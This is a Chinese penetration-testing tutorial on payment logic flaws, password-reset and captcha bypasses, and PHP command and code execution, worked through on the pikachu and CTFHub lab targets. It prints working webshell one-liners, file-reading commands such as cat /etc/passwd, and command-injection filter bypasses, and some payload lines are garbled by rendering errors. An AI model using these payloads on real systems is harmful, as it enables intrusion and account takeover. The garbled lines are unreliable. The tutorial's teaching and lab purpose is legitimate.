渗透测试之逻辑漏洞

这篇具有很好参考价值的文章主要介绍了渗透测试之逻辑漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、支付漏洞

那么这个修改价格具体是修改哪一步时的价格呢?在我看来,你可以在这三个步骤当中的随便一个步骤进行修改价格测试,如果前面两步有验证机制,那么你可在最后一步付款时进行抓包尝试修改金额,如果没有在最后一步做好检验
存在可修改订单状态的接口,比如确认收货接口,确认收货以后订单状态会变成“已完成”。
有如下接口/setorderstatus?orderid=1093&orderstatus=3

1.修改附属值

修改优惠劵金额
修改积分
修改运费金额
修改服务费金额

2.多重替换支付

首先去产生两个订单,这两个订单商品是不一样的,其价格不一样,如果服务端没有做好这相关的验证,那么在支付的过程当中抓包,修改其订单值为另一个订单值,最后支付,这时就可以用订单一的支付价格买到订单二的商品。

3.重复支付

比如订单支付会返现,或者返积分。重复调用支付成功回调的接口,可实现多次返现,或多次返积分。

4.最小额支付

这个问题如果你在充值时进行修改其支付金额为负数或者0.01等是会显示支付失败的,但是如果你修改其金额为1.00,那么支付就会成功。

5.最大值支付

利用整数溢出,将购买量改成99999999999999999999999999999999,这样支付金额可能会变成0。或者修改附属值,如优惠卷,积分等为999999999, 如果这里逻辑设计有问题,那么其支付金额会变为0。

6.越权支付

可以修改这个用户ID为其它用户ID,达到用其他用户的账号进行支付你的商品

7.无限制试用

在支付的时候它URL后面的支付接口是3,而试用接口是4,那么此时你已经 使用过了,复制下确认试用时的URL,修改后面的支付接口为3,那么此时就会调用 购买支付接口,但是由于你本身这个产品就是试用的,其相应值绑定了这个试用商 品,那么金额就肯定是0,那么最后点击支付,你就可以看到支付成功,试用成功, 又重复试用了一次,然后他们的试用时间会累加在一起,这就导致了可无限制购买任何产品了

8.多线程并发

并发请求:用户A在一个网站上提款,同步发送了多个提款请求,后台显示多条提款请求,审核了然后顺利的提到了几倍的bounty
处理速度的问题,数据库的处理速度跟不上用户的请求速度,就有可能存在这样的漏洞。

9.支付漏洞思路

渗透测试之逻辑漏洞,java,网络,服务器渗透测试之逻辑漏洞,java,网络,服务器

二、密码找回漏洞

1.本地验证绕过

客户端在本地进行验证码是否正确的判断,而该判断结果也可以在本地修改,
最终导致欺骗客户端,误以为我们已经输入了正确的验证码。
例如将返回包中的0修改为1即可绕过验证。

2.利用session重新绑定客户

重置密码最后一步是通过session获取用户名,然后再重置。
而用户名是在重置密码第一步时与session进行绑定,那么如果重置密码的最后一步程序并没有验证该用户是够走完了验证流程,
那么就可以通过重新绑定session为其他账号从而达到任意密码重置目的。
http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0114804.html

3.去掉验证参数绕过

邮件系统取回密码功能设计逻辑错误,存在认证绕过漏洞,
通过抓取数据包可通过修改报文,将找回问题答案参数删除后,直接进行对密码更改。
参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-088927.html

4.总结

1、测试业务的时候,了解清楚业务的整体流程,可以利用思维导图快速清理各个业务之间的关系
2、重点关注的业务:个人(他人)信息、密码修改(找回)、支付流程、注册流程、需要手机、邮箱验证的业务。
3、对每个业务模块进行抓包,分析其中各种请求,注意特殊参数,很有可能就是这些特殊参数决定了业务步骤。 4、抓包重放的过程需要多次实验,判断是否可以跳过(绕过),如何跳过(绕过),纯数字可以用数字+字母`尝试绕过
5、返回包中数据的分析~关注特殊字符串和特殊参数,还有JS文件('JS中可能会存在信息泄漏)。
6、综上所述,业务流程需同时结合’HTTP/HTTPS"请求分析,重点可以关注那些具有代表性的参数,绕过必要验证,跳过业务步骤。
渗透测试之逻辑漏洞,java,网络,服务器

三、短信验证码绕过

1.短信验证码生命期限内可暴力枚举

只限于数字验证码

2.短信验证码在数据包中返回

可以直接在response中获取到短信验证码

3.修改请求数据包参数或 Cookie 值绕过

比如有 post 数据包:mobile=18888888888&userid=00001, Cookie中有:codetype=1
在特定步骤,修改 mobile=自己的手机号,自己手机就可以收到别人的验证码,后面再用
别人的手机号和接收到的验证码登录;
修改 Cookie 中可疑的参数和值,进行绕过,比如上面修改 codetype=0;

4.修改返回包绕过

举个简单的例子:提交错误的短信验证码,返回包中有: status=false,用 Burpsuite 的 “Do
intercept” 功能修改为 status=true,即可绕过前端判断,成功进入系统。具体还要结合实际的场景,灵活操作。

5.攻破短信验证码接口

a:有些网站会遗留短信验证码测试页面,比如/smstest.html等,如果能找到并且还可以正常使用。
b:一般系统的短信验证码功能,都会有个接口平台可以获取到手机接收到的所有短信,找到并攻 破也能进入系统。
6.默认万能验证码
之前遇到过短信验证码输入9999,就可以登录任意用户账号的漏洞。为了方便测试以及维护,有的系统会留有万能验证码,上线后还保留着。可能是固定的写在配置文件、js文件或代码中,也可能是随时间变化的。
找回密码
前端加密,可破解,或者根本就不是加密。
比如如下案例,找回密码,得到一个token:
/resetpwd?token=eyJ1c2VybmFtZSI6InpoYW5nZiJ9
Token实际上就是将username编码了一下,修改username即可修改其他用户的密码

7.几种爆破绕过

a.超长字符串

输入超长字符串可能会导致系统拒绝服务或绕过某些限制。

b.特殊符号

曾经遇到过一个案例,密码框输入><就可以登录任意用户账号。

c.整数溢出。

利用整数溢出,精度丢失等,可能导致支付漏洞。

四、验证安全

1.图形验证码绕过

a.图形验证码不刷新或无效

手工尝试一次登录后,在某一时间段内无论登录失败多少次,只要不刷新页面 Session 不过期,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解。

b.图形验证码值可直接获取

验证码通常会被隐藏在网站的源码中或者在请求的 Cookie 中,或在 response 数据包中返回

c.图形验证码参数绕过

登录请求包数据: user=admin&pass=1234&vcode=brln
可尝试如下两种绕过方法:

i:验证码空值绕过

改成user=admin&pass=1234&vcode=

ii:直接删除验证码参数,改成 user=admin&pass=1234

登录请求包数据: user=admin&pass=1234&needcode=1&vcode=brln 可尝试将needcode参数的值改成0

2.存在无验证码页面

3.万能验证码

渗透测试的过程中,有时候会出现这种情况,系统存在一个万能验证码,如0000、9999,
只要输入万能验证码,就可以无视验证码进行暴力破解。

4.验证码数量有限

多见于计算类型的验证码,如 1+2=?,这种类型的验证码严格意义上来说不能叫做验证码,多刷新几次验证码,我们可能会发现系统中的算数题目只有那么几道,这种情况下只要将验证码全部下载下来,生成一个 md5 库,然后将前端生成的验证码与本地文件进行对比即可。

5.简单验证码识别

在平常的漏洞挖掘过程中,如果我们发现登录的验证码非常简单且易于识别,那我们就可以尝试
使用自动化工具来进行登录破解了,如 PKAV 的 HTTP Fuzzer、bp插件等。
https://blog.csdn.net/weixin_40412037/
article/details/105561166

6.验证码复用

当你打开常见的一些需要登录之类的系统,通常系统会自动请求一次验证码,抓包,抓住别放,保持Session不变。

五、命令执行

1.RCE定义

RCE:远程命令执行或者代码执行,因为RCE这个词的滥用,RCE的范围比较广,只要渗透的最终情况可以实现执行命令或者是代码都属于RCE,例如代码执行、文件包含、反序列化、命令执行,甚至是写文件Getshell都可以属于RCE

2.常见的命令执行函数

PHP:exec、shell_exec、system、passthru、popen、proc_open等
ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

1) exec

返回值:命令执行结果的最后一行内容,失败时返回 false
https://www.php.net/manual/zh/function.exec.php

<?php
highlight_file(__FILE__); 
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
$output=null;
$retval=null;
exec('whoami', $output, $retval);
exec('chcp 65001&ipconfig', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>

渗透测试之逻辑漏洞,java,网络,服务器

2)system

该函数会把执行结果输出,并把输出结果的作为字符串返回。
如果 PHP 运行在服务器模块中,system() 函数还会尝试在每行输出完毕之后,自动刷新 web 服务器的输出缓存如果执行失败则返回false

<?php
highlight_file(__FILE__); 
system('chcp 65001&ipconfig');
?>

渗透测试之逻辑漏洞,java,网络,服务器
渗透测试之逻辑漏洞,java,网络,服务器

//highlight_file() 函数以字符串形式返回 突出显示的代码,成功返回true,否则返回false。

3)passthru

执行外部程序并且显示原始输出
执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数

<?php
highlight_file(__FILE__);
passthru('whoami');
?>

渗透测试之逻辑漏洞,java,网络,服务器

4)shell_exec

通过 shell 执行命令并将完整的输出以字符串的方式返回

<?php
highlight_file(__FILE__);
var_dump(shell_exec('ipconfig'));  
?>

渗透测试之逻辑漏洞,java,网络,服务器

5)反引号 `

shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体

<?php
highlight_file(__FILE__);
$a = 'whoami';
echo `$a`;
?>

渗透测试之逻辑漏洞,java,网络,服务器

6)popen

popen()、proc_open()函数不会直接返回执行结果,而是返回一个文件指针(通过文件指针就可对它所指的文件进行各种操作),命令是已经执行了

<?php popen('whoami >>D:/2.txt','r'); ?>

渗透测试之逻辑漏洞,java,网络,服务器

3.管道符号

渗透测试之逻辑漏洞,java,网络,服务器

|前面可真可假
渗透测试之逻辑漏洞,java,网络,服务器渗透测试之逻辑漏洞,java,网络,服务器

||——1||2,先运行第一个命令,只有在符号||前面的命令1未能运行成功时,才运行符号||后面的命令2。
渗透测试之逻辑漏洞,java,网络,服务器

&或&&前面必须为真才会执行后面的
渗透测试之逻辑漏洞,java,网络,服务器

4.常用的命令

Windows
dir----查看文件目录
ipconfig----查看Windows的IP地址
arp -a----查看ARP缓存表
calc----在命令行打开计算器
regedit----打开注册表
netstat -ano----查看开放的端口信息
Linux
cat /etc/passwd----查看passwd文件
id----查看该用户的ID号
groups----查看用户所属的组
cat /etc/group----查看组信息
whoami----查看当前用户
pwd----查看当前路径
uname -a----查看主机信息
cat /etc/issue----查看主机的配置信息
netstat -pantu----查看开放的端口信息
netstat -nr----查看路由信息

5.命令执行危害-getshell

1)直接获取webshell

例如可以写入一句话木马:
?cmd=echo “<?php @eval($_REQUEST[123]); ?>” > D:\phpstudy\PHPTutorial\WWW\webshell.php

2)显示当前路径

例如可以提交参数 ?cmd=cd 来查看当前路径。

3)读文件

例如:?cmd=type c:\windows\system32\drivers\etc\hosts,来查看系统hosts文件。

4)写文件

例如可以提交参数 ?cmd=echo “<?php phpinfo(); ?>” > D:\shell.php

6.pikachu靶场任务

1)查看当前用户

127.0.0.1&whoami
渗透测试之逻辑漏洞,java,网络,服务器

2)查看当前路径

127.0.0.1&cd
渗透测试之逻辑漏洞,java,网络,服务器

3)查看C盘下的文件

127.0.0.1&type c:\1.txt
渗透测试之逻辑漏洞,java,网络,服务器

127.0.0.1& type c:\windows\system32\drivers\etc\hosts
渗透测试之逻辑漏洞,java,网络,服务器

4)写入一句话木马、用菜刀或者蚁剑连接成功

127.0.0.1&echo ^<?php eval(KaTeX parse error: Expected 'EOF', got '&' at position 36: …?^> > 127.0.0.1&̲echo ^<?php eva…_REQUEST[‘admin’]); ?^> > C:\phpstudy_pro\WWW\pikachu\webshell.php

渗透测试之逻辑漏洞,java,网络,服务器渗透测试之逻辑漏洞,java,网络,服务器渗透测试之逻辑漏洞,java,网络,服务器

7.CTF靶场任务

https://www.ctfhub.com/#/skilltree
渗透测试之逻辑漏洞,java,网络,服务器

1)eval执行

渗透测试之逻辑漏洞,java,网络,服务器

eval执行,可以先判断下是Windows操作系统还是linux
ipconfig和ifconfig

2)命令执行

/?cmd=system(‘ifconfig’);
渗透测试之逻辑漏洞,java,网络,服务器

ls查看目录中的文件
/?cmd=system(‘ls’);
渗透测试之逻辑漏洞,java,网络,服务器

列出根目录()下的所有目录:
/?cmd=system(‘ls /’);
渗透测试之逻辑漏洞,java,网络,服务器

发现可疑文件 flag_8213 直接使用cat命令查看
/?cmd=system(‘cat /flag_8213’);得到flag
渗透测试之逻辑漏洞,java,网络,服务器

3)文件包含

渗透测试之逻辑漏洞,java,网络,服务器

4)php://input

渗透测试之逻辑漏洞,java,网络,服务器

5)远程包含

渗透测试之逻辑漏洞,java,网络,服务器

6)burp system+cat读取源代码

渗透测试之逻辑漏洞,java,网络,服务器

7)过滤cat

渗透测试之逻辑漏洞,java,网络,服务器

8)单引号绕过

127.0.0.1;c’'at flag_21869419023310.php|base64
渗透测试之逻辑漏洞,java,网络,服务器

9)双引号绕过

127.0.0.1;c""at flag_21869419023310.php|base64
渗透测试之逻辑漏洞,java,网络,服务器

10)特殊符号绕过

127.0.0.1;ca$@t flag_21869419023310.php|base64
渗透测试之逻辑漏洞,java,网络,服务器渗透测试之逻辑漏洞,java,网络,服务器

1;2|3
此处;表示执行完1再执行2的意思,1可以随意,|表示执行完2再执行3,3只对2的结果执行,2必须执行成功才能执行3

11)绕过空格

1;cat<flag_28844345117053.php|base64
渗透测试之逻辑漏洞,java,网络,服务器

1;cat$IFS 9 f l a g 2 8844345117053. p h p ∣ b a s e 641 ; c a t 9flag_28844345117053.php|base64 1;cat 9flag28844345117053.phpbase641;cat{IFS}flag_28844345117053.php|base64

12)过滤目录分隔符

1;ls flag_is_here
渗透测试之逻辑漏洞,java,网络,服务器

1;cd flag_is_here;cat flag_8154254575089.php|base64
渗透测试之逻辑漏洞,java,网络,服务器

13)过滤|逻辑符号

渗透测试之逻辑漏洞,java,网络,服务器

14)综合练习

%0a替代;
渗透测试之逻辑漏洞,java,网络,服务器

在Windows和Linux中都支持用 “” 号模糊查询
1%0acd I F S f ∗ a g i s h e r e {IFS}f*ag_is_here%0als%0aca''t IFSfagishere{IFS}f
ag_7220223731263.php
渗透测试之逻辑漏洞,java,网络,服务器

六、代码执行

1.定义

应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。远程代码执行实际上就是调用服务器网站代码进行执行

2.相关函数

PHP:eval、assert
Javascript:eval
Vbscript: Execute、Eval
Python:exec

1)eval

将字符串当做函数进行执行,需要传入一个完整的语句必须以分号 ; 结尾,最常用的函数

<?php eval('echo "hello";'); ?>

2)assert

判断是否为字符串是则当成代码执行,在php7.0.29之后的版本不支持动态调用

低版本

<?php assert($_POST['a']); ?>

7.0.29之后

<?php $a = 'assert'; $a(phpinfo()); ?>

3)callback函数

preg_replace + /e模式
渗透测试之逻辑漏洞,java,网络,服务器

3.pikachu靶场任务

渗透测试之逻辑漏洞,java,网络,服务器

fputs(fopen(‘shell.php’,‘w’),‘<?php eval($_POST[fname]);?>’);
渗透测试之逻辑漏洞,java,网络,服务器渗透测试之逻辑漏洞,java,网络,服务器

fputs(fopen(‘shell1.php’,‘w’),‘<?php $code=$_GET[x];echo system($code);?>’);
渗透测试之逻辑漏洞,java,网络,服务器

fputs(fopen(‘shell2.php’,‘w’),‘<?php $code=$_GET[x];eval($code);?>’);
渗透测试之逻辑漏洞,java,网络,服务器

4.代码执行-漏洞防御

代码执行的防御分为三个方面 参数 , 函数 和 权限
禁用或减少使用执行代码的函数
对于必须使用eval的地方,一定严格处理用户数据
使用addslashess()函数将参数转译,或使用黑白名单校验
限制Web用户的权限
升级插件、框架新版本文章来源地址https://www.toymoban.com/news/detail-660561.html

到了这里,关于渗透测试之逻辑漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [渗透测试]—5.2 网络协议漏洞

    在这一章节中,我们将学习网络协议漏洞,如ARP欺骗、DNS欺骗等,并通过实例来讲解如何利用这些漏洞进行网络渗透测试。请放心,我们会尽量讲得详细、通俗易懂,并提供尽可能多的实例。 网络协议是计算机网络中设备之间通信的规则。然而,许多网络协议在设计时并未充

    2024年02月11日
    浏览(37)
  • 简单漏洞复现_网络渗透测试

    一、漏洞渗透测试 1、靶机(Windows)安装easy file sharing server(efssetup_2018.zip),该服务存在漏洞。 2、利用Nmap扫描发现靶机(Windows)运行了该服务。 3、利用该漏洞,使得靶机运行计算器。 获取easy file sharing server 链接:https://pan.baidu.com/s/1WRasVlAb_st--7ZeOkwNVQ  提取码:1vx1 主要步骤 1

    2024年02月05日
    浏览(40)
  • [渗透测试]—5.1 网络设备的安全漏洞

    在这一章节中,我们将重点讨论网络设备(如路由器、交换机等)的安全漏洞,以及如何进行网络设备的渗透测试。请放心,我们会尽量讲得详细、通俗易懂,并提供尽可能多的实例。 网络设备,如路由器和交换机,是构成计算机网络的基本元素。这些设备负责在网络中转发

    2024年02月11日
    浏览(34)
  • 一、重写muduo网络库之服务器编程及测试

    目录 一、基于muduo网络库开发服务器程序的基本步骤 1、组合TcpServer对象 2、创建EventLoop事件循环对象的指针 3、明确TCPServer构造函数需要的参数,输出ChatServer的构造函数 4、在当前服务器类的构造函数当中,注册处理连接的回调函数和处理读写事件的回调函数 5、设置合适的

    2024年02月04日
    浏览(30)
  • [渗透测试]—6.2 无线网络安全漏洞和攻击技术

    在本章节中,我们将学习一些常见的无线网络安全漏洞和攻击技术,如WPS漏洞、Evil Twin攻击等。我们将尽量讲解得详细、通俗易懂,并提供尽可能多的实例。 Wi-Fi保护设置(WPS)是一种简化无线网络配置的技术,可以通过输入PIN码或按下物理按钮的方式快速连接无线网络。然

    2024年02月11日
    浏览(36)
  • Kali渗透Windows服务器

    这个实验主要让我们学习漏洞扫描技术基本原理,了解其在网络攻防中的作用,掌握使用Kali中的Metasploit对目标主机渗透,并根据报告做出相应的防护措施。 本次实战环境:Kali渗透Windows服务器 实战步骤一 本实验通过利用kali进行漏洞扫描,使用Metasploit对目标主机进行渗透测

    2024年02月07日
    浏览(24)
  • Java 网络编程 —— 创建多线程服务器

    一个典型的单线程服务器示例如下: 服务端接收到一个客户连接,就与客户进行通信,通信完毕后断开连接,然后接收下一个客户连接,假如同时有多个客户连接请求这些客户就必须排队等候。如果长时间让客户等待,就会使网站失去信誉,从而降低访问量。 一般用并发性

    2024年02月02日
    浏览(34)
  • Java 网络编程 —— 实现非阻塞式的服务器

    当 ServerSocketChannel 与 SockelChannel 采用默认的阻塞模式时,为了同时处理多个客户的连接,必须使用多线程 在非阻塞模式下, EchoServer 只需要启动一个主线程,就能同时处理三件事: 接收客户的连接 接收客户发送的数据 向客户发回响应数据 EchoServer 委托 Selector 来负责监控接

    2024年02月05日
    浏览(38)
  • Java 网络编程 —— 创建非阻塞的 HTTP 服务器

    HTTP 客户程序必须先发出一个 HTTP 请求,然后才能接收到来自 HTTP 服器的响应,浏览器就是最常见的 HTTP 客户程序。HTTP 客户程序和 HTTP 服务器分别由不同的软件开发商提供,它们都可以用任意的编程语言编写。HTTP 严格规定了 HTTP 请求和 HTTP 响应的数据格式,只要 HTTP 服务器

    2024年02月06日
    浏览(34)
  • 有哪些信息安全/网络安全/渗透测试/众测/CTF/红蓝攻防/漏洞测试等前沿技术/研究/技巧获取渠道?

    护网的定义是以国家组织组织事业单位、国企单位、名企单位等开展攻防两方的网络安全演习。进攻方一个月内采取不限方式对防守方展开进攻,不管任何手段只要攻破防守方的网络并且留下标记即成功,直接冲到防守方的办公大楼,然后物理攻破也算成功。护网是国家应对

    2024年02月06日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包